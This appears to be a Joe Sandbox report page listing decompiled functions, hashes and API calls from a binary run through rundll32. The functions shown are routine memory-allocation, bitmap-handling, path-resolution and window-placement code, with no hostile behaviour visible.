Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 66be63e4ac11a2cec79e0e8d17e2668f621c776424763818172725d588c9118e
Instruction ID: 253ea3b0920c9b8556024919b3f50adab91bfa2e3db2117dbe3d56191457def3
Opcode Fuzzy Hash: 66be63e4ac11a2cec79e0e8d17e2668f621c776424763818172725d588c9118e
Instruction Fuzzy Hash: B2118E72A45701AFC310DF69E890A2AB7E9EFD4760F16C63DE59897358E730AC408B45

Uniqueness

Uniqueness Score: -1.00%

Function 009F2294 Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009F2294(intOrPtr _a4, intOrPtr _a8) {
				void* _t14;
				void _t15;
				intOrPtr _t25;
				char* _t26;
				void* _t35;

				if( *0xa9f88c == 0) {
					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
					_t35 = _t14;
					_t15 =  *0xa9f888; // 0xaf0000
					 *_t35 = _t15;
					_t1 = _t35 + 4; // 0x4
					E009D2AC8(0xa9c618, 2, _t1);
					_t2 = _t35 + 5; // 0x5
					 *((intOrPtr*)(_t35 + 6)) = E009F228C(_t2, E009F226C);
					_t4 = _t35 + 0xa; // 0xa
					_t26 = _t4;
					do {
						 *_t26 = 0xe8;
						_t5 = _t35 + 4; // 0x4
						 *((intOrPtr*)(_t26 + 1)) = E009F228C(_t26, _t5);
						 *((intOrPtr*)(_t26 + 5)) =  *0xa9f88c;
						 *0xa9f88c = _t26;
						_t26 = _t26 + 0xd;
					} while (_t26 - _t35 < 0xffc);
					 *0xa9f888 = _t35;
				}
				_t25 =  *0xa9f88c;
				 *0xa9f88c =  *((intOrPtr*)(_t25 + 5));
				 *((intOrPtr*)(_t25 + 5)) = _a4;
				 *((intOrPtr*)(_t25 + 9)) = _a8;
				return  *0xa9f88c;
			}

0x009f22a2
0x009f22b2
0x009f22b7
0x009f22b9
0x009f22be
0x009f22c0
0x009f22cd
0x009f22d7
0x009f22df
0x009f22e2
0x009f22e2
0x009f22e5
0x009f22e5
0x009f22e8
0x009f22f2
0x009f22f7
0x009f22fa
0x009f22fc
0x009f2303
0x009f230a
0x009f230a
0x009f2312
0x009f2317
0x009f231c
0x009f2322
0x009f2329

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 009F22B2

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ff06673e44e5c55af5d34f9e472f16585fbe5b523816af6fb0d75c64789d67cf
Instruction ID: 6377ba7ad4670c4b6f0e7b89cbfa7c1291846dbd4d932c7415dd5c3758767f6f
Opcode Fuzzy Hash: ff06673e44e5c55af5d34f9e472f16585fbe5b523816af6fb0d75c64789d67cf
Instruction Fuzzy Hash: 541118742417099FC714DF58C881B92B7E5EB88750B10C53AEA688F385D770E9158BA4

Uniqueness

Uniqueness Score: -1.00%

Function 009D1580 Relevance: 1.3, APIs: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D1580() {
				intOrPtr* _t4;
				void* _t5;
				void _t6;
				intOrPtr* _t9;
				void* _t12;
				void* _t14;

				if( *0xa9f5e8 != 0) {
					L5:
					_t4 =  *0xa9f5e8;
					 *0xa9f5e8 =  *_t4;
					return _t4;
				} else {
					_t5 = LocalAlloc(0, 0x644); // executed
					_t12 = _t5;
					if(_t12 != 0) {
						_t6 =  *0xa9f5e4; // 0x8f1f20
						 *_t12 = _t6;
						 *0xa9f5e4 = _t12;
						_t14 = 0;
						do {
							_t2 = (_t14 + _t14) * 8; // 0x4
							_t9 = _t12 + _t2 + 4;
							 *_t9 =  *0xa9f5e8;
							 *0xa9f5e8 = _t9;
							_t14 = _t14 + 1;
						} while (_t14 != 0x64);
						goto L5;
					} else {
						return 0;
					}
				}
			}

0x009d158a
0x009d15c6
0x009d15c6
0x009d15ca
0x009d15ce
0x009d158c
0x009d1593
0x009d1598
0x009d159c
0x009d15a3
0x009d15a8
0x009d15aa
0x009d15b0
0x009d15b2
0x009d15b6
0x009d15b6
0x009d15bc
0x009d15be
0x009d15c0
0x009d15c1
0x00000000
0x009d159e
0x009d15a2
0x009d15a2
0x009d159c

APIs

LocalAlloc.KERNEL32(00000000,00000644,?,00A9F5FC,009D15E3,?,?,009D1682,?,0000000C,?,?,00003FFF,009D1BC3), ref: 009D1593

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 413cac5f6a308dba87683ed12363020fcaf5d5fac66182003a8251000197b330
Instruction ID: efe2559a3ddd7c4c170199f83966c897423a4eb83a714dcf96d5bf069b2f08d0
Opcode Fuzzy Hash: 413cac5f6a308dba87683ed12363020fcaf5d5fac66182003a8251000197b330
Instruction Fuzzy Hash: 40F08CB6781201AFDB24CF68E8807A573E5EBD9359F20807FE186C7310E6359C418B90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009F6EBC Relevance: 48.5, APIs: 32, Instructions: 500
windowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E009F6EBC(struct HBITMAP__* __eax, struct HPALETTE__* __ecx, struct HPALETTE__* __edx, intOrPtr _a4, signed int _a8) {
				struct HBITMAP__* _v8;
				struct HPALETTE__* _v12;
				struct HPALETTE__* _v16;
				struct HPALETTE__* _v20;
				void* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				struct HDC__* _v36;
				BITMAPINFO* _v40;
				void* _v44;
				intOrPtr _v48;
				struct tagRGBQUAD _v52;
				struct HPALETTE__* _v56;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v132;
				intOrPtr _v136;
				void _v140;
				struct tagRECT _v156;
				void* __ebx;
				void* __ebp;
				signed short _t229;
				int _t281;
				signed int _t290;
				signed short _t292;
				struct HBRUSH__* _t366;
				struct HPALETTE__* _t422;
				signed int _t441;
				intOrPtr _t442;
				intOrPtr _t444;
				intOrPtr _t445;
				void* _t455;
				void* _t457;
				void* _t459;
				intOrPtr _t460;

				_t457 = _t459;
				_t460 = _t459 + 0xffffff68;
				_push(_t419);
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v20 = 0;
				if( *(_a8 + 0x18) == 0 ||  *(_a8 + 0x1c) != 0 &&  *(_a8 + 0x20) != 0) {
					if( *(_a8 + 0x18) != 0 ||  *(_a8 + 4) != 0 &&  *(_a8 + 8) != 0) {
						E009F6A78(_v8);
						_v116 = 0;
						if(_v8 != 0 && GetObjectA(_v8, 0x54,  &_v140) < 0x18) {
							E009F5370();
						}
						_v28 = E009F5484(GetDC(0));
						_v32 = E009F5484(CreateCompatibleDC(_v28));
						_push(_t457);
						_push(0x9f750a);
						_push( *[fs:edx]);
						 *[fs:edx] = _t460;
						if( *(_a8 + 0x18) >= 0x28) {
							_v40 = E009D28CC(0x42c);
							_push(_t457);
							_push(0x9f7214);
							_push( *[fs:edx]);
							 *[fs:edx] = _t460;
							 *(_a8 + 0x18) = 0x28;
							 *((short*)(_a8 + 0x24)) = 1;
							if( *(_a8 + 0x26) == 0) {
								_t290 = GetDeviceCaps(_v28, 0xc);
								_t292 = GetDeviceCaps(_v28, 0xe);
								_t419 = _t290 * _t292;
								 *(_a8 + 0x26) = _t290 * _t292;
							}
							memcpy(_v40, _a8 + 0x18, 0xa << 2);
							 *(_a8 + 4) =  *(_a8 + 0x1c);
							_t441 = _a8;
							 *(_t441 + 8) =  *(_a8 + 0x20);
							if( *(_a8 + 0x26) > 8) {
								_t229 =  *(_a8 + 0x26);
								if(_t229 == 0x10) {
									L30:
									if(( *(_a8 + 0x28) & 0x00000003) != 0) {
										E009F6E70(_a8);
										_t104 =  &(_v40->bmiColors); // 0x29
										_t441 = _t104;
										E009D2AC8(_a8 + 0x40, 0xc, _t441);
									}
								} else {
									_t441 = _a8;
									if(_t229 == 0x20) {
										goto L30;
									}
								}
							} else {
								if( *(_a8 + 0x26) != 1 || _v8 != 0 && _v120 != 0) {
									if(_v16 == 0) {
										if(_v8 != 0) {
											_v24 = SelectObject(_v32, _v8);
											if(_v116 <= 0 || _v120 == 0) {
												asm("cdq");
												GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, 0, _v40, 0);
											} else {
												_t281 = GetDIBColorTable(_v32, 0, 0x100,  &(_v40->bmiColors));
												_t441 = _a8;
												 *(_t441 + 0x38) = _t281;
											}
											SelectObject(_v32, _v24);
										}
									} else {
										_t76 =  &(_v40->bmiColors); // 0x29
										_t441 = _t76;
										E009F5C18(_v16, 0xff, _t441);
									}
								} else {
									_t441 = 0;
									_v40->bmiColors = 0;
									 *((intOrPtr*)(_v40 + 0x2c)) = 0xffffff;
								}
							}
							_v20 = E009F5484(CreateDIBSection(_v28, _v40, 0,  &_v44, 0, 0));
							if(_v44 == 0) {
								E009F53DC(_t419);
							}
							if(_v8 == 0 ||  *(_a8 + 0x1c) != _v136 ||  *(_a8 + 0x20) != _v132 ||  *(_a8 + 0x26) <= 8) {
								_pop(_t442);
								 *[fs:eax] = _t442;
								_push(0x9f721b);
								return E009D28EC(_v40);
							} else {
								asm("cdq");
								GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, _v44, _v40, 0);
								E009D3C6C();
								E009D3C6C();
								goto L58;
							}
						} else {
							if(( *(_a8 + 0x10) |  *(_a8 + 0x12)) != 1) {
								_v20 = E009F5484(CreateCompatibleBitmap(_v28,  *(_a8 + 4),  *(_a8 + 8)));
							} else {
								_v20 = E009F5484(CreateBitmap( *(_a8 + 4),  *(_a8 + 8), 1, 1, 0));
							}
							E009F5484(_v20);
							_v24 = E009F5484(SelectObject(_v32, _v20));
							_push(_t457);
							_push(0x9f74bb);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_push(_t457);
							_push(0x9f74aa);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_v56 = 0;
							_t422 = 0;
							if(_v16 != 0) {
								_v56 = SelectPalette(_v32, _v16, 0);
								RealizePalette(_v32);
							}
							_push(_t457);
							_push(0x9f7488);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							if(_a4 == 0) {
								PatBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), 0xff0062);
							} else {
								_t366 = E009F4A40( *((intOrPtr*)(_a4 + 0x14)));
								E009EA228(0,  *(_a8 + 4), 0,  &_v156,  *(_a8 + 8));
								FillRect(_v32,  &_v156, _t366);
								SetTextColor(_v32, E009F3D80( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
								SetBkColor(_v32, E009F3D80(E009F4A04( *((intOrPtr*)(_a4 + 0x14)))));
								if( *(_a8 + 0x26) == 1 &&  *((intOrPtr*)(_a8 + 0x14)) != 0) {
									_v52 = E009F3D80( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18)));
									_v48 = E009F3D80(E009F4A04( *((intOrPtr*)(_a4 + 0x14))));
									SetDIBColorTable(_v32, 0, 2,  &_v52);
								}
							}
							if(_v8 == 0) {
								_pop(_t444);
								 *[fs:eax] = _t444;
								_push(0x9f748f);
								if(_v16 != 0) {
									return SelectPalette(_v32, _v56, 0xffffffff);
								}
								return 0;
							} else {
								_v36 = E009F5484(CreateCompatibleDC(_v28));
								_push(_t457);
								_push(0x9f745e);
								_push( *[fs:eax]);
								 *[fs:eax] = _t460;
								_t455 = E009F5484(SelectObject(_v36, _v8));
								if(_v12 != 0) {
									_t422 = SelectPalette(_v36, _v12, 0);
									RealizePalette(_v36);
								}
								if(_a4 != 0) {
									SetTextColor(_v36, E009F3D80( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
									SetBkColor(_v36, E009F3D80(E009F4A04( *((intOrPtr*)(_a4 + 0x14)))));
								}
								BitBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), _v36, 0, 0, 0xcc0020);
								if(_v12 != 0) {
									SelectPalette(_v36, _t422, 0xffffffff);
								}
								E009F5484(SelectObject(_v36, _t455));
								_pop(_t445);
								 *[fs:eax] = _t445;
								_push(0x9f7465);
								return DeleteDC(_v36);
							}
						}
					} else {
						goto L58;
					}
				} else {
					L58:
					return _v20;
				}
			}

0x009f6ebd
0x009f6ebf
0x009f6ec5
0x009f6ec8
0x009f6ecb
0x009f6ece
0x009f6ed3
0x009f6edd
0x009f6f00
0x009f6f1f
0x009f6f26
0x009f6f2d
0x009f6f46
0x009f6f46
0x009f6f57
0x009f6f68
0x009f6f6d
0x009f6f6e
0x009f6f73
0x009f6f76
0x009f6f80
0x009f6fea
0x009f6fef
0x009f6ff0
0x009f6ff5
0x009f6ff8
0x009f6ffe
0x009f7008
0x009f7016
0x009f701e
0x009f702b
0x009f7030
0x009f7037
0x009f7037
0x009f704b
0x009f7056
0x009f705f
0x009f7062
0x009f706d
0x009f713d
0x009f7145
0x009f7150
0x009f7157
0x009f715c
0x009f7164
0x009f7164
0x009f7172
0x009f7172
0x009f7147
0x009f7147
0x009f714e
0x00000000
0x00000000
0x009f714e
0x009f7073
0x009f707b
0x009f70a9
0x009f70c7
0x009f70da
0x009f70e1
0x009f7116
0x009f7126
0x009f70e9
0x009f70fb
0x009f7100
0x009f7103
0x009f7103
0x009f7133
0x009f7133
0x009f70ab
0x009f70ae
0x009f70ae
0x009f70b9
0x009f70b9
0x009f7089
0x009f708c
0x009f708e
0x009f709a
0x009f709a
0x009f707b
0x009f7193
0x009f719a
0x009f719c
0x009f719c
0x009f71a5
0x009f7200
0x009f7203
0x009f7206
0x009f7213
0x009f71ca
0x009f71da
0x009f71ea
0x009f71ef
0x009f71f4
0x00000000
0x009f71f4
0x009f6f82
0x009f6f94
0x009f6fd8
0x009f6f96
0x009f6fb4
0x009f6fb4
0x009f721e
0x009f7235
0x009f723a
0x009f723b
0x009f7240
0x009f7243
0x009f7248
0x009f7249
0x009f724e
0x009f7251
0x009f7256
0x009f7259
0x009f725f
0x009f7270
0x009f7277
0x009f7277
0x009f727e
0x009f727f
0x009f7284
0x009f7287
0x009f728e
0x009f7364
0x009f7294
0x009f729a
0x009f72b8
0x009f72c8
0x009f72e0
0x009f72fa
0x009f7307
0x009f7320
0x009f7333
0x009f7342
0x009f7342
0x009f7307
0x009f736d
0x009f7467
0x009f746a
0x009f746d
0x009f7476
0x00000000
0x009f7482
0x009f7487
0x009f7373
0x009f7381
0x009f7386
0x009f7387
0x009f738c
0x009f738f
0x009f73a4
0x009f73aa
0x009f73bb
0x009f73c1
0x009f73c1
0x009f73ca
0x009f73df
0x009f73f9
0x009f73f9
0x009f7421
0x009f742a
0x009f7433
0x009f7433
0x009f7442
0x009f7449
0x009f744c
0x009f744f
0x009f745d
0x009f745d
0x009f736d
0x00000000
0x00000000
0x00000000
0x009f7511
0x009f7511
0x009f751a
0x009f751a

APIs

GetObjectA.GDI32(00000000,00000054,?), ref: 009F6F3C
GetDC.USER32(00000000), ref: 009F6F4D
CreateCompatibleDC.GDI32(00000000), ref: 009F6F5E
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 009F6FAA
CreateCompatibleBitmap.GDI32(00000028,00000000,?), ref: 009F6FCE
SelectObject.GDI32(?,?), ref: 009F722B
SelectPalette.GDI32(?,00000000,00000000), ref: 009F726B
RealizePalette.GDI32(?), ref: 009F7277
SetTextColor.GDI32(?,00000000), ref: 009F72E0
SetBkColor.GDI32(?,00000000), ref: 009F72FA
SetDIBColorTable.GDI32(?,00000000,00000002,?,?,00000000,?,00000000,?,?,00000000,00000000,009F7488,?,00000000,009F74AA), ref: 009F7342
FillRect.USER32 ref: 009F72C8

Part of subcall function 009F3D80: GetSysColor.USER32(?), ref: 009F3D8A

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 009F7364
CreateCompatibleDC.GDI32(00000028), ref: 009F7377
SelectObject.GDI32(?,00000000), ref: 009F739A
SelectPalette.GDI32(?,00000000,00000000), ref: 009F73B6
RealizePalette.GDI32(?), ref: 009F73C1
SetTextColor.GDI32(?,00000000), ref: 009F73DF
SetBkColor.GDI32(?,00000000), ref: 009F73F9
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 009F7421
SelectPalette.GDI32(?,00000000,000000FF), ref: 009F7433
SelectObject.GDI32(?,00000000), ref: 009F743D
DeleteDC.GDI32(?), ref: 009F7458

Part of subcall function 009F4A40: CreateBrushIndirect.GDI32(?), ref: 009F4AEA

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapRealizeText$BrushDeleteFillIndirectRectTable
String ID:
API String ID: 1299887459-0
Opcode ID: d7358d481b0a75f54f397ea1835a9e1712a0b2a7690a22198831fe60c29c8ccd
Instruction ID: 5dbb805c6e560b7ed670a1d75db86c15c30362e1eae5004ffbf95f19ff472dc5
Opcode Fuzzy Hash: d7358d481b0a75f54f397ea1835a9e1712a0b2a7690a22198831fe60c29c8ccd
Instruction Fuzzy Hash: 0A12E875A44208AFDB10EFA8C885FAEB7F9EB48314F118555FA14EB2A1C774ED44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 009D5A3C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 136
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E009D5A3C(char* __eax, intOrPtr __edx) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAA _v334;
				char _v595;
				void* _t45;
				char* _t54;
				char* _t64;
				void* _t83;
				intOrPtr* _t84;
				char* _t90;
				struct HINSTANCE__* _t91;
				char* _t93;
				void* _t94;
				char* _t95;
				void* _t96;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t91 = GetModuleHandleA("kernel32.dll");
				if(_t91 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t93 = _v8 + 2;
						goto L10;
					} else {
						if( *((char*)(_v8 + 1)) == 0x5c) {
							_t95 = E009D5A28(_v8 + 2);
							if( *_t95 != 0) {
								_t14 = _t95 + 1; // 0x1
								_t93 = E009D5A28(_t14);
								if( *_t93 != 0) {
									L10:
									_t83 = _t93 - _v8;
									_push(_t83 + 1);
									_push(_v8);
									_push( &_v595);
									L009D14A4();
									while( *_t93 != 0) {
										_t90 = E009D5A28(_t93 + 1);
										_t45 = _t90 - _t93;
										if(_t45 + _t83 + 1 <= 0x105) {
											_push(_t45 + 1);
											_push(_t93);
											_push( &(( &_v595)[_t83]));
											L009D14A4();
											_t94 = FindFirstFileA( &_v595,  &_v334);
											if(_t94 != 0xffffffff) {
												FindClose(_t94);
												_t54 =  &(_v334.cFileName);
												_push(_t54);
												L009D14AC();
												if(_t54 + _t83 + 1 + 1 <= 0x105) {
													 *((char*)(_t96 + _t83 - 0x24f)) = 0x5c;
													_push(0x105 - _t83 - 1);
													_push( &(_v334.cFileName));
													_push( &(( &(( &_v595)[_t83]))[1]));
													L009D14A4();
													_t64 =  &(_v334.cFileName);
													_push(_t64);
													L009D14AC();
													_t83 = _t83 + _t64 + 1;
													_t93 = _t90;
													continue;
												}
											}
										}
										goto L17;
									}
									_push(_v12);
									_push( &_v595);
									_push(_v8);
									L009D14A4();
								}
							}
						}
					}
				} else {
					_t84 = GetProcAddress(_t91, "GetLongPathNameA");
					if(_t84 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v595);
						_push(_v8);
						if( *_t84() == 0) {
							goto L4;
						} else {
							_push(_v12);
							_push( &_v595);
							_push(_v8);
							L009D14A4();
						}
					}
				}
				L17:
				return _v16;
			}

0x009d5a48
0x009d5a4b
0x009d5a51
0x009d5a5e
0x009d5a62
0x009d5aa4
0x009d5aaa
0x009d5ae7
0x00000000
0x009d5aac
0x009d5ab3
0x009d5ac4
0x009d5ac9
0x009d5acf
0x009d5ad7
0x009d5adc
0x009d5aea
0x009d5aec
0x009d5af2
0x009d5af6
0x009d5afd
0x009d5afe
0x009d5ba9
0x009d5b10
0x009d5b14
0x009d5b21
0x009d5b28
0x009d5b29
0x009d5b32
0x009d5b33
0x009d5b4b
0x009d5b50
0x009d5b53
0x009d5b58
0x009d5b5e
0x009d5b5f
0x009d5b6f
0x009d5b71
0x009d5b81
0x009d5b88
0x009d5b92
0x009d5b93
0x009d5b98
0x009d5b9e
0x009d5b9f
0x009d5ba5
0x009d5ba7
0x00000000
0x009d5ba7
0x009d5b6f
0x009d5b50
0x00000000
0x009d5b21
0x009d5bb5
0x009d5bbc
0x009d5bc0
0x009d5bc1
0x009d5bc1
0x009d5adc
0x009d5ac9
0x009d5ab3
0x009d5a64
0x009d5a6f
0x009d5a73
0x00000000
0x009d5a75
0x009d5a75
0x009d5a80
0x009d5a84
0x009d5a89
0x00000000
0x009d5a8b
0x009d5a8e
0x009d5a95
0x009d5a99
0x009d5a9a
0x009d5a9a
0x009d5a89
0x009d5a73
0x009d5bc6
0x009d5bcf

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 009D5A59
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 009D5A6A
lstrcpyn.KERNEL32(?,?,?,?,108B00A9,00A9C0A4,?,009D5C9C,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?), ref: 009D5A9A
lstrcpyn.KERNEL32(?,?,?,kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019), ref: 009D5AFE
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C,00000000,009D5CF9,?,80000001), ref: 009D5B33
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C,00000000,009D5CF9), ref: 009D5B46
FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C,00000000), ref: 009D5B53
lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B00A9,00A9C0A4,?,009D5C9C), ref: 009D5B5F
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 009D5B93
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 009D5B9F
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 009D5BC1

Strings

kernel32.dll, xrefs: 009D5A54
GetLongPathNameA, xrefs: 009D5A64
\, xrefs: 009D5B71

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: f0fba946f68021a84738f54470dcf9587e11fe50b08e8592a49b656fdd9f319a
Instruction ID: e1a6bbc31736a7d748734733fdc1058d8e8c608c9d52e110c75c1039ddd6af19
Opcode Fuzzy Hash: f0fba946f68021a84738f54470dcf9587e11fe50b08e8592a49b656fdd9f319a
Instruction Fuzzy Hash: D241B272E40619AFDB10DEA8CDC5FDEB3EC9F84314F1985A3A548E7342D6749E448B50

Uniqueness

Uniqueness Score: -1.00%

Function 00A212A4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A212A4(void* __eax) {
				void* _v28;
				struct _WINDOWPLACEMENT _v56;
				struct tagPOINT _v64;
				intOrPtr _v68;
				void* _t43;
				struct HWND__* _t45;
				struct tagPOINT* _t47;

				_t47 =  &(_v64.y);
				_t43 = __eax;
				if(IsIconic( *(__eax + 0x180)) == 0) {
					GetWindowRect( *(_t43 + 0x180), _t47);
				} else {
					_v56.length = 0x2c;
					GetWindowPlacement( *(_t43 + 0x180),  &_v56);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
				}
				if((GetWindowLongA( *(_t43 + 0x180), 0xfffffff0) & 0x40000000) != 0) {
					_t45 = GetWindowLongA( *(_t43 + 0x180), 0xfffffff8);
					if(_t45 != 0) {
						ScreenToClient(_t45, _t47);
						ScreenToClient(_t45,  &_v64);
					}
				}
				 *(_t43 + 0x40) = _t47->x;
				 *((intOrPtr*)(_t43 + 0x44)) = _v68;
				 *((intOrPtr*)(_t43 + 0x48)) = _v64.x - _t47->x;
				 *((intOrPtr*)(_t43 + 0x4c)) = _v64.y.x - _v68;
				return E00A19EC8(_t43);
			}

0x00a212a7
0x00a212aa
0x00a212ba
0x00a212e9
0x00a212bc
0x00a212bc
0x00a212d0
0x00a212db
0x00a212dc
0x00a212dd
0x00a212de
0x00a212de
0x00a21301
0x00a21311
0x00a21315
0x00a21319
0x00a21324
0x00a21324
0x00a21315
0x00a2132c
0x00a21333
0x00a2133d
0x00a21348
0x00a21358

APIs

IsIconic.USER32 ref: 00A212B3
GetWindowPlacement.USER32(?,0000002C), ref: 00A212D0
GetWindowRect.USER32 ref: 00A212E9
GetWindowLongA.USER32 ref: 00A212F7
GetWindowLongA.USER32 ref: 00A2130C
ScreenToClient.USER32 ref: 00A21319
ScreenToClient.USER32 ref: 00A21324

Strings

,, xrefs: 00A212BC

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 3060b129f77656993c980b683b3ce269a337311b18e64e05ed864e304957aba0
Instruction ID: 7d1f15306e8f86fcbc7d4ba7c48822456196e9da76981cd648472c6b27f5f1ca
Opcode Fuzzy Hash: 3060b129f77656993c980b683b3ce269a337311b18e64e05ed864e304957aba0
Instruction Fuzzy Hash: AF118E71504250AFCB41EFACD881A8BB7E8AF88310F148979FE58DB346E730D9048B61

Uniqueness

Uniqueness Score: -1.00%

Function 009F9C84 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E009F9C84(void* __edi, struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t19;
				intOrPtr _t21;
				struct HWND__* _t23;

				_t19 = _a8;
				_t23 = _a4;
				if( *0xa9f91d != 0) {
					if((_t19 & 0x00000003) == 0) {
						if(IsIconic(_t23) == 0) {
							GetWindowRect(_t23,  &(_v48.rcNormalPosition));
						} else {
							GetWindowPlacement(_t23,  &_v48);
						}
						return E009F9BF4( &(_v48.rcNormalPosition), _t19);
					}
					return 0x12340042;
				}
				_t21 =  *0xa9f8f8; // 0x9f9c84
				 *0xa9f8f8 = E009F9A84(1, _t19, _t21, __edi, _t23);
				return  *0xa9f8f8(_t23, _t19);
			}

0x009f9c8c
0x009f9c8f
0x009f9c99
0x009f9cc3
0x009f9cd4
